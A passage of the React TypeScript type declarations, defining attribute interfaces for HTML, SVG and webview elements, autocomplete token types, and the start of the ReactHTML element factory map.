hrefLang?: string | undefined; media?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; shape?: string | undefined; target?: string | undefined; } interface BaseHTMLAttributes<T> extends HTMLAttributes<T> { href?: string | undefined; target?: string | undefined; } interface BlockquoteHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; } interface ButtonHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; form?: string | undefined; formAction?: | string | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ] | undefined; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; name?: string | undefined; type?: "submit" | "reset" | "button" | undefined; value?: string | readonly string[] | number | undefined; } interface CanvasHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; width?: number | string | undefined; } interface ColHTMLAttributes<T> extends HTMLAttributes<T> { span?: number | undefined; width?: number | string | undefined; } interface ColgroupHTMLAttributes<T> extends HTMLAttributes<T> { span?: number | undefined; } interface DataHTMLAttributes<T> extends HTMLAttributes<T> { value?: string | readonly string[] | number | undefined; } interface DetailsHTMLAttributes<T> extends HTMLAttributes<T> { open?: boolean | undefined; onToggle?: ReactEventHandler<T> | undefined; name?: string | undefined; } interface DelHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; dateTime?: string | undefined; } interface DialogHTMLAttributes<T> extends HTMLAttributes<T> { onCancel?: ReactEventHandler<T> | undefined; onClose?: ReactEventHandler<T> | undefined; open?: boolean | undefined; } interface EmbedHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; src?: string | undefined; type?: string | undefined; width?: number | string | undefined; } interface FieldsetHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; form?: string | undefined; name?: string | undefined; } interface FormHTMLAttributes<T> extends HTMLAttributes<T> { acceptCharset?: string | undefined; action?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; autoComplete?: string | undefined; encType?: string | undefined; method?: string | undefined; name?: string | undefined; noValidate?: boolean | undefined; target?: string | undefined; } interface HtmlHTMLAttributes<T> extends HTMLAttributes<T> { manifest?: string | undefined; } interface IframeHTMLAttributes<T> extends HTMLAttributes<T> { allow?: string | undefined; allowFullScreen?: boolean | undefined; allowTransparency?: boolean | undefined; /** @deprecated */ frameBorder?: number | string | undefined; height?: number | string | undefined; loading?: "eager" | "lazy" | undefined; /** @deprecated */ marginHeight?: number | undefined; /** @deprecated */ marginWidth?: number | undefined; name?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sandbox?: string | undefined; /** @deprecated */ scrolling?: string | undefined; seamless?: boolean | undefined; src?: string | undefined; srcDoc?: string | undefined; width?: number | string | undefined; } interface ImgHTMLAttributes<T> extends HTMLAttributes<T> { alt?: string | undefined; crossOrigin?: CrossOrigin; decoding?: "async" | "auto" | "sync" | undefined; fetchPriority?: "high" | "low" | "auto"; height?: number | string | undefined; loading?: "eager" | "lazy" | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sizes?: string | undefined; src?: string | undefined; srcSet?: string | undefined; useMap?: string | undefined; width?: number | string | undefined; } interface InsHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; dateTime?: string | undefined; } type HTMLInputTypeAttribute = | "button" | "checkbox" | "color" | "date" | "datetime-local" | "email" | "file" | "hidden" | "image" | "month" | "number" | "password" | "radio" | "range" | "reset" | "search" | "submit" | "tel" | "text" | "time" | "url" | "week" | (string & {}); type AutoFillAddressKind = "billing" | "shipping"; type AutoFillBase = "" | "off" | "on"; type AutoFillContactField = | "email" | "tel" | "tel-area-code" | "tel-country-code" | "tel-extension" | "tel-local" | "tel-local-prefix" | "tel-local-suffix" | "tel-national"; type AutoFillContactKind = "home" | "mobile" | "work"; type AutoFillCredentialField = "webauthn"; type AutoFillNormalField = | "additional-name" | "address-level1" | "address-level2" | "address-level3" | "address-level4" | "address-line1" | "address-line2" | "address-line3" | "bday-day" | "bday-month" | "bday-year" | "cc-csc" | "cc-exp" | "cc-exp-month" | "cc-exp-year" | "cc-family-name" | "cc-given-name" | "cc-name" | "cc-number" | "cc-type" | "country" | "country-name" | "current-password" | "family-name" | "given-name" | "honorific-prefix" | "honorific-suffix" | "name" | "new-password" | "one-time-code" | "organization" | "postal-code" | "street-address" | "transaction-amount" | "transaction-currency" | "username"; type OptionalPrefixToken<T extends string> = `${T} ` | ""; type OptionalPostfixToken<T extends string> = ` ${T}` | ""; type AutoFillField = AutoFillNormalField | `${OptionalPrefixToken<AutoFillContactKind>}${AutoFillContactField}`; type AutoFillSection = `section-${string}`; type AutoFill = | AutoFillBase | `${OptionalPrefixToken<AutoFillSection>}${OptionalPrefixToken< AutoFillAddressKind >}${AutoFillField}${OptionalPostfixToken<AutoFillCredentialField>}`; type HTMLInputAutoCompleteAttribute = AutoFill | (string & {}); interface InputHTMLAttributes<T> extends HTMLAttributes<T> { accept?: string | undefined; alt?: string | undefined; autoComplete?: HTMLInputAutoCompleteAttribute | undefined; capture?: boolean | "user" | "environment" | undefined; // https://www.w3.org/TR/html-media-capture/#the-capture-attribute checked?: boolean | undefined; disabled?: boolean | undefined; enterKeyHint?: "enter" | "done" | "go" | "next" | "previous" | "search" | "send" | undefined; form?: string | undefined; formAction?: | string | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ] | undefined; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; height?: number | string | undefined; list?: string | undefined; max?: number | string | undefined; maxLength?: number | undefined; min?: number | string | undefined; minLength?: number | undefined; multiple?: boolean | undefined; name?: string | undefined; pattern?: string | undefined; placeholder?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; size?: number | undefined; src?: string | undefined; step?: number | string | undefined; type?: HTMLInputTypeAttribute | undefined; value?: string | readonly string[] | number | undefined; width?: number | string | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface KeygenHTMLAttributes<T> extends HTMLAttributes<T> { challenge?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; keyType?: string | undefined; keyParams?: string | undefined; name?: string | undefined; } interface LabelHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; htmlFor?: string | undefined; } interface LiHTMLAttributes<T> extends HTMLAttributes<T> { value?: string | readonly string[] | number | undefined; } interface LinkHTMLAttributes<T> extends HTMLAttributes<T> { as?: string | undefined; crossOrigin?: CrossOrigin; fetchPriority?: "high" | "low" | "auto"; href?: string | undefined; hrefLang?: string | undefined; integrity?: string | undefined; media?: string | undefined; imageSrcSet?: string | undefined; imageSizes?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; sizes?: string | undefined; type?: string | undefined; charSet?: string | undefined; } interface MapHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; } interface MenuHTMLAttributes<T> extends HTMLAttributes<T> { type?: string | undefined; } interface MediaHTMLAttributes<T> extends HTMLAttributes<T> { autoPlay?: boolean | undefined; controls?: boolean | undefined; controlsList?: string | undefined; crossOrigin?: CrossOrigin; loop?: boolean | undefined; mediaGroup?: string | undefined; muted?: boolean | undefined; playsInline?: boolean | undefined; preload?: string | undefined; src?: string | undefined; } interface MetaHTMLAttributes<T> extends HTMLAttributes<T> { charSet?: string | undefined; content?: string | undefined; httpEquiv?: string | undefined; media?: string | undefined; name?: string | undefined; } interface MeterHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; high?: number | undefined; low?: number | undefined; max?: number | string | undefined; min?: number | string | undefined; optimum?: number | undefined; value?: string | readonly string[] | number | undefined; } interface QuoteHTMLAttributes<T> extends HTMLAttributes<T> { cite?: string | undefined; } interface ObjectHTMLAttributes<T> extends HTMLAttributes<T> { classID?: string | undefined; data?: string | undefined; form?: string | undefined; height?: number | string | undefined; name?: string | undefined; type?: string | undefined; useMap?: string | undefined; width?: number | string | undefined; wmode?: string | undefined; } interface OlHTMLAttributes<T> extends HTMLAttributes<T> { reversed?: boolean | undefined; start?: number | undefined; type?: "1" | "a" | "A" | "i" | "I" | undefined; } interface OptgroupHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; label?: string | undefined; } interface OptionHTMLAttributes<T> extends HTMLAttributes<T> { disabled?: boolean | undefined; label?: string | undefined; selected?: boolean | undefined; value?: string | readonly string[] | number | undefined; } interface OutputHTMLAttributes<T> extends HTMLAttributes<T> { form?: string | undefined; htmlFor?: string | undefined; name?: string | undefined; } interface ParamHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; value?: string | readonly string[] | number | undefined; } interface ProgressHTMLAttributes<T> extends HTMLAttributes<T> { max?: number | string | undefined; value?: string | readonly string[] | number | undefined; } interface SlotHTMLAttributes<T> extends HTMLAttributes<T> { name?: string | undefined; } interface ScriptHTMLAttributes<T> extends HTMLAttributes<T> { async?: boolean | undefined; /** @deprecated */ charSet?: string | undefined; crossOrigin?: CrossOrigin; defer?: boolean | undefined; integrity?: string | undefined; noModule?: boolean | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; src?: string | undefined; type?: string | undefined; } interface SelectHTMLAttributes<T> extends HTMLAttributes<T> { autoComplete?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; multiple?: boolean | undefined; name?: string | undefined; required?: boolean | undefined; size?: number | undefined; value?: string | readonly string[] | number | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface SourceHTMLAttributes<T> extends HTMLAttributes<T> { height?: number | string | undefined; media?: string | undefined; sizes?: string | undefined; src?: string | undefined; srcSet?: string | undefined; type?: string | undefined; width?: number | string | undefined; } interface StyleHTMLAttributes<T> extends HTMLAttributes<T> { media?: string | undefined; scoped?: boolean | undefined; type?: string | undefined; } interface TableHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | undefined; bgcolor?: string | undefined; border?: number | undefined; cellPadding?: number | string | undefined; cellSpacing?: number | string | undefined; frame?: boolean | undefined; rules?: "none" | "groups" | "rows" | "columns" | "all" | undefined; summary?: string | undefined; width?: number | string | undefined; } interface TextareaHTMLAttributes<T> extends HTMLAttributes<T> { autoComplete?: string | undefined; cols?: number | undefined; dirName?: string | undefined; disabled?: boolean | undefined; form?: string | undefined; maxLength?: number | undefined; minLength?: number | undefined; name?: string | undefined; placeholder?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; rows?: number | undefined; value?: string | readonly string[] | number | undefined; wrap?: string | undefined; onChange?: ChangeEventHandler<T> | undefined; } interface TdHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | "justify" | "char" | undefined; colSpan?: number | undefined; headers?: string | undefined; rowSpan?: number | undefined; scope?: string | undefined; abbr?: string | undefined; height?: number | string | undefined; width?: number | string | undefined; valign?: "top" | "middle" | "bottom" | "baseline" | undefined; } interface ThHTMLAttributes<T> extends HTMLAttributes<T> { align?: "left" | "center" | "right" | "justify" | "char" | undefined; colSpan?: number | undefined; headers?: string | undefined; rowSpan?: number | undefined; scope?: string | undefined; abbr?: string | undefined; } interface TimeHTMLAttributes<T> extends HTMLAttributes<T> { dateTime?: string | undefined; } interface TrackHTMLAttributes<T> extends HTMLAttributes<T> { default?: boolean | undefined; kind?: string | undefined; label?: string | undefined; src?: string | undefined; srcLang?: string | undefined; } interface VideoHTMLAttributes<T> extends MediaHTMLAttributes<T> { height?: number | string | undefined; playsInline?: boolean | undefined; poster?: string | undefined; width?: number | string | undefined; disablePictureInPicture?: boolean | undefined; disableRemotePlayback?: boolean | undefined; } // this list is "complete" in that it contains every SVG attribute // that React supports, but the types can be improved. // Full list here: https://facebook.github.io/react/docs/dom-elements.html // // The three broad type categories are (in order of restrictiveness): // - "number | string" // - "string" // - union of string literals interface SVGAttributes<T> extends AriaAttributes, DOMAttributes<T> { // React-specific Attributes suppressHydrationWarning?: boolean | undefined; // Attributes which also defined in HTMLAttributes // See comment in SVGDOMPropertyConfig.js className?: string | undefined; color?: string | undefined; height?: number | string | undefined; id?: string | undefined; lang?: string | undefined; max?: number | string | undefined; media?: string | undefined; method?: string | undefined; min?: number | string | undefined; name?: string | undefined; style?: CSSProperties | undefined; target?: string | undefined; type?: string | undefined; width?: number | string | undefined; // Other HTML properties supported by SVG elements in browsers role?: AriaRole | undefined; tabIndex?: number | undefined; crossOrigin?: CrossOrigin; // SVG Specific attributes accentHeight?: number | string | undefined; accumulate?: "none" | "sum" | undefined; additive?: "replace" | "sum" | undefined; alignmentBaseline?: | "auto" | "baseline" | "before-edge" | "text-before-edge" | "middle" | "central" | "after-edge" | "text-after-edge" | "ideographic" | "alphabetic" | "hanging" | "mathematical" | "inherit" | undefined; allowReorder?: "no" | "yes" | undefined; alphabetic?: number | string | undefined; amplitude?: number | string | undefined; arabicForm?: "initial" | "medial" | "terminal" | "isolated" | undefined; ascent?: number | string | undefined; attributeName?: string | undefined; attributeType?: string | undefined; autoReverse?: Booleanish | undefined; azimuth?: number | string | undefined; baseFrequency?: number | string | undefined; baselineShift?: number | string | undefined; baseProfile?: number | string | undefined; bbox?: number | string | undefined; begin?: number | string | undefined; bias?: number | string | undefined; by?: number | string | undefined; calcMode?: number | string | undefined; capHeight?: number | string | undefined; clip?: number | string | undefined; clipPath?: string | undefined; clipPathUnits?: number | string | undefined; clipRule?: number | string | undefined; colorInterpolation?: number | string | undefined; colorInterpolationFilters?: "auto" | "sRGB" | "linearRGB" | "inherit" | undefined; colorProfile?: number | string | undefined; colorRendering?: number | string | undefined; contentScriptType?: number | string | undefined; contentStyleType?: number | string | undefined; cursor?: number | string | undefined; cx?: number | string | undefined; cy?: number | string | undefined; d?: string | undefined; decelerate?: number | string | undefined; descent?: number | string | undefined; diffuseConstant?: number | string | undefined; direction?: number | string | undefined; display?: number | string | undefined; divisor?: number | string | undefined; dominantBaseline?: number | string | undefined; dur?: number | string | undefined; dx?: number | string | undefined; dy?: number | string | undefined; edgeMode?: number | string | undefined; elevation?: number | string | undefined; enableBackground?: number | string | undefined; end?: number | string | undefined; exponent?: number | string | undefined; externalResourcesRequired?: Booleanish | undefined; fill?: string | undefined; fillOpacity?: number | string | undefined; fillRule?: "nonzero" | "evenodd" | "inherit" | undefined; filter?: string | undefined; filterRes?: number | string | undefined; filterUnits?: number | string | undefined; floodColor?: number | string | undefined; floodOpacity?: number | string | undefined; focusable?: Booleanish | "auto" | undefined; fontFamily?: string | undefined; fontSize?: number | string | undefined; fontSizeAdjust?: number | string | undefined; fontStretch?: number | string | undefined; fontStyle?: number | string | undefined; fontVariant?: number | string | undefined; fontWeight?: number | string | undefined; format?: number | string | undefined; fr?: number | string | undefined; from?: number | string | undefined; fx?: number | string | undefined; fy?: number | string | undefined; g1?: number | string | undefined; g2?: number | string | undefined; glyphName?: number | string | undefined; glyphOrientationHorizontal?: number | string | undefined; glyphOrientationVertical?: number | string | undefined; glyphRef?: number | string | undefined; gradientTransform?: string | undefined; gradientUnits?: string | undefined; hanging?: number | string | undefined; horizAdvX?: number | string | undefined; horizOriginX?: number | string | undefined; href?: string | undefined; ideographic?: number | string | undefined; imageRendering?: number | string | undefined; in2?: number | string | undefined; in?: string | undefined; intercept?: number | string | undefined; k1?: number | string | undefined; k2?: number | string | undefined; k3?: number | string | undefined; k4?: number | string | undefined; k?: number | string | undefined; kernelMatrix?: number | string | undefined; kernelUnitLength?: number | string | undefined; kerning?: number | string | undefined; keyPoints?: number | string | undefined; keySplines?: number | string | undefined; keyTimes?: number | string | undefined; lengthAdjust?: number | string | undefined; letterSpacing?: number | string | undefined; lightingColor?: number | string | undefined; limitingConeAngle?: number | string | undefined; local?: number | string | undefined; markerEnd?: string | undefined; markerHeight?: number | string | undefined; markerMid?: string | undefined; markerStart?: string | undefined; markerUnits?: number | string | undefined; markerWidth?: number | string | undefined; mask?: string | undefined; maskContentUnits?: number | string | undefined; maskUnits?: number | string | undefined; mathematical?: number | string | undefined; mode?: number | string | undefined; numOctaves?: number | string | undefined; offset?: number | string | undefined; opacity?: number | string | undefined; operator?: number | string | undefined; order?: number | string | undefined; orient?: number | string | undefined; orientation?: number | string | undefined; origin?: number | string | undefined; overflow?: number | string | undefined; overlinePosition?: number | string | undefined; overlineThickness?: number | string | undefined; paintOrder?: number | string | undefined; panose1?: number | string | undefined; path?: string | undefined; pathLength?: number | string | undefined; patternContentUnits?: string | undefined; patternTransform?: number | string | undefined; patternUnits?: string | undefined; pointerEvents?: number | string | undefined; points?: string | undefined; pointsAtX?: number | string | undefined; pointsAtY?: number | string | undefined; pointsAtZ?: number | string | undefined; preserveAlpha?: Booleanish | undefined; preserveAspectRatio?: string | undefined; primitiveUnits?: number | string | undefined; r?: number | string | undefined; radius?: number | string | undefined; refX?: number | string | undefined; refY?: number | string | undefined; renderingIntent?: number | string | undefined; repeatCount?: number | string | undefined; repeatDur?: number | string | undefined; requiredExtensions?: number | string | undefined; requiredFeatures?: number | string | undefined; restart?: number | string | undefined; result?: string | undefined; rotate?: number | string | undefined; rx?: number | string | undefined; ry?: number | string | undefined; scale?: number | string | undefined; seed?: number | string | undefined; shapeRendering?: number | string | undefined; slope?: number | string | undefined; spacing?: number | string | undefined; specularConstant?: number | string | undefined; specularExponent?: number | string | undefined; speed?: number | string | undefined; spreadMethod?: string | undefined; startOffset?: number | string | undefined; stdDeviation?: number | string | undefined; stemh?: number | string | undefined; stemv?: number | string | undefined; stitchTiles?: number | string | undefined; stopColor?: string | undefined; stopOpacity?: number | string | undefined; strikethroughPosition?: number | string | undefined; strikethroughThickness?: number | string | undefined; string?: number | string | undefined; stroke?: string | undefined; strokeDasharray?: string | number | undefined; strokeDashoffset?: string | number | undefined; strokeLinecap?: "butt" | "round" | "square" | "inherit" | undefined; strokeLinejoin?: "miter" | "round" | "bevel" | "inherit" | undefined; strokeMiterlimit?: number | string | undefined; strokeOpacity?: number | string | undefined; strokeWidth?: number | string | undefined; surfaceScale?: number | string | undefined; systemLanguage?: number | string | undefined; tableValues?: number | string | undefined; targetX?: number | string | undefined; targetY?: number | string | undefined; textAnchor?: string | undefined; textDecoration?: number | string | undefined; textLength?: number | string | undefined; textRendering?: number | string | undefined; to?: number | string | undefined; transform?: string | undefined; u1?: number | string | undefined; u2?: number | string | undefined; underlinePosition?: number | string | undefined; underlineThickness?: number | string | undefined; unicode?: number | string | undefined; unicodeBidi?: number | string | undefined; unicodeRange?: number | string | undefined; unitsPerEm?: number | string | undefined; vAlphabetic?: number | string | undefined; values?: string | undefined; vectorEffect?: number | string | undefined; version?: string | undefined; vertAdvY?: number | string | undefined; vertOriginX?: number | string | undefined; vertOriginY?: number | string | undefined; vHanging?: number | string | undefined; vIdeographic?: number | string | undefined; viewBox?: string | undefined; viewTarget?: number | string | undefined; visibility?: number | string | undefined; vMathematical?: number | string | undefined; widths?: number | string | undefined; wordSpacing?: number | string | undefined; writingMode?: number | string | undefined; x1?: number | string | undefined; x2?: number | string | undefined; x?: number | string | undefined; xChannelSelector?: string | undefined; xHeight?: number | string | undefined; xlinkActuate?: string | undefined; xlinkArcrole?: string | undefined; xlinkHref?: string | undefined; xlinkRole?: string | undefined; xlinkShow?: string | undefined; xlinkTitle?: string | undefined; xlinkType?: string | undefined; xmlBase?: string | undefined; xmlLang?: string | undefined; xmlns?: string | undefined; xmlnsXlink?: string | undefined; xmlSpace?: string | undefined; y1?: number | string | undefined; y2?: number | string | undefined; y?: number | string | undefined; yChannelSelector?: string | undefined; z?: number | string | undefined; zoomAndPan?: string | undefined; } interface WebViewHTMLAttributes<T> extends HTMLAttributes<T> { allowFullScreen?: boolean | undefined; allowpopups?: boolean | undefined; autosize?: boolean | undefined; blinkfeatures?: string | undefined; disableblinkfeatures?: string | undefined; disableguestresize?: boolean | undefined; disablewebsecurity?: boolean | undefined; guestinstance?: string | undefined; httpreferrer?: string | undefined; nodeintegration?: boolean | undefined; partition?: string | undefined; plugins?: boolean | undefined; preload?: string | undefined; src?: string | undefined; useragent?: string | undefined; webpreferences?: string | undefined; } // // React.DOM // ---------------------------------------------------------------------- interface ReactHTML { a: DetailedHTMLFactory<AnchorHTMLAttributes<HTMLAnchorElement>, HTMLAnchorElement>; abbr: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; address: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; area: DetailedHTMLFactory<AreaHTMLAttributes<HTMLAreaElement>, HTMLAreaElement>; article: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; aside: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; audio: DetailedHTMLFactory<AudioHTMLAttributes<HTMLAudioElement>, HTMLAudioElement>; b: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; base: DetailedHTMLFactory<BaseHTMLAttributes<HTMLBaseElement>, HTMLBaseElement>; bdi: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; bdo: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; big: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; blockquote: DetailedHTMLFactory<BlockquoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; body: DetailedHTMLFactory<HTMLAttributes<HTMLBodyElement>, HTMLBodyElement>; br: DetailedHTMLFactory<HTMLAttributes<HTMLBRElement>, HTMLBRElement>; button: DetailedHTMLFactory<ButtonHTMLAttributes<HTMLButtonElement>, HTMLButtonElement>; canvas: DetailedHTMLFactory<CanvasHTMLAttributes<HTMLCanvasElement>, HTMLCanvasElement>; caption: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; center: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; cite: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; code: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; col: DetailedHTMLFactory<ColHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; colgroup: DetailedHTMLFactory<ColgroupHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; data: DetailedHTMLFactory<DataHTMLAttributes<HTMLDataElement>, HTMLDataElement>; datalist: DetailedHTMLFactory<HTMLAttributes<HTMLDataListElement>, HTMLDataListElement>; dd: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; del: DetailedHTMLFactory<DelHTMLAttributes<HTMLModElement>, HTMLModElement>; details: DetailedHTMLFactory<DetailsHTMLAttributes<HTMLDetailsElement>, HTMLDetailsElement>; dfn: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; dialog: DetailedHTMLFactory<DialogHTMLAttributes<HTMLDialogElement>, HTMLDialogElement>; div: DetailedHTMLFactory<HTMLAttributes<HTMLDivElement>, HTMLDivElement>; dl: DetailedHTMLFactory<HTMLAttributes<HTMLDListElement>, HTMLDListElement>; dt: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; em: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; embed: DetailedHTMLFactory<EmbedHTMLAttributes<HTMLEmbedElement>, HTMLEmbedElement>; fieldset: DetailedHTMLFactory<FieldsetHTMLAttributes<HTMLFieldSetElement>, HTMLFieldSetElement>; figcaption: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; figure: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; footer: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; form: DetailedHTMLFactory<FormHTMLAttributes<HTMLFormElement>, HTMLFormElement>; h1: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h2: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h3: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h4: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h5: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h6: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; head: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLHeadElement>; header: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; hgroup: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; hr: DetailedHTMLFactory<HTMLAttributes<HTMLHRElement>, HTMLHRElement>; html: DetailedHTMLFactory<HtmlHTMLAttributes<HTMLHtmlElement>, HTMLHtmlElement>; i: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; iframe: DetailedHTMLFactory<IframeHTMLAttributes<HTMLIFrameElement>, HTMLIFrameElement>; img: DetailedHTMLFactory<ImgHTMLAttributes<HTMLImageElement>, HTMLImageElement>; input: DetailedHTMLFactory<InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; ins: DetailedHTMLFactory<InsHTMLAttributes<HTMLModElement>, HTMLModElement>; kbd: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; keygen: DetailedHTMLFactory<KeygenHTMLAttributes<HTMLElement>, HTMLElement>; label: DetailedHTMLFactory<LabelHTMLAttributes<HTMLLabelElement>, HTMLLabelElement>; legend: DetailedHTMLFactory<HTMLAttributes<HTMLLegendElement>, HTMLLegendElement>; li: DetailedHTMLFactory<LiHTMLAttributes<HTMLLIElement>, HTMLLIElement>; link: DetailedHTMLFactory<LinkHTMLAttributes<HTMLLinkElement>, HTMLLinkElement>; main: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; map: DetailedHTMLFactory<MapHTMLAttributes<HTMLMapElement>, HTMLMapElement>; mark: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; menu: DetailedHTMLFactory<MenuHTMLAttributes<HTMLElement>, HTMLElement>; menuitem: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; meta: DetailedHTMLFactory<MetaHTMLAttributes<HTMLMetaElement>, HTMLMetaElement>; meter: DetailedHTMLFactory<MeterHTMLAttributes<HTMLMeterElement>, HTMLMeterElement>; nav: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; noscript: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; object: DetailedHTMLFactory<ObjectHTMLAttributes<HTMLObjectElement>, HTMLObjectElement>; ol: DetailedHTMLFactory<OlHTMLAttributes<HTMLOListElement>, HTMLOListElement>; optgroup: DetailedHTMLFactory<OptgroupHTMLAttributes<HTMLOptGroupElement>, HTMLOptGroupElement>; option: DetailedHTMLFactory<OptionHTMLAttributes<HTMLOptionElement>, HTMLOptionElement>; output: DetailedHTMLFactory<OutputHTMLAttributes<HTMLOutputElement>, HTMLOutputElement>; p: DetailedHTMLFactory<HTMLAttributes<HTMLParagraphElement>, HTMLParagraphElement>; param: DetailedHTMLFactory<ParamHTMLAttributes<HTMLParamElement>, HTMLParamElement>; picture: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; pre: DetailedHTMLFactory<HTMLAttributes<HTMLPreElement>, HTMLPreElement>; progress: DetailedHTMLFactory<ProgressHTMLAttributes<HTMLProgressElement>, HTMLProgressElement>; q: DetailedHTMLFactory<QuoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; rp: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; rt: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; ruby: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; s: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; samp: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; search: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; slot: DetailedHTMLFactory<SlotHTMLAttributes<HTMLSlotElement>, HTMLSlotElement>; script: DetailedHTMLFactory<ScriptHTMLAttributes<HTMLScriptElement>, HTMLScriptElement>; section: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; select: DetailedHTMLFactory<SelectHTMLAttributes<HTMLSelectElement>, HTMLSelectElement>; small: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; source: DetailedHTMLFactory<SourceHTMLAttributes<HTMLSourceElement>, HTMLSourceElement>; span: DetailedHTMLFactory<HTMLAttributes<HTMLSpanElement>, HTMLSpanElement>; strong: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; style: DetailedHTMLFactory<StyleHTMLAttributes<HTMLStyleElement>, HTMLStyleElement>; sub: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; summary: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; sup: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; table: DetailedHTMLFactory<TableHTMLAttributes<HTMLTableElement>, HTMLTableElement>; template: DetailedHTMLFactory<HTMLAttributes<HTMLTemplateElement>, HTMLTemplateElement>; tbody: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; td: DetailedHTMLFactory<TdHTMLAttributes<HTMLTableDataCellElement>, HTMLTableDataCellElement>; textarea: 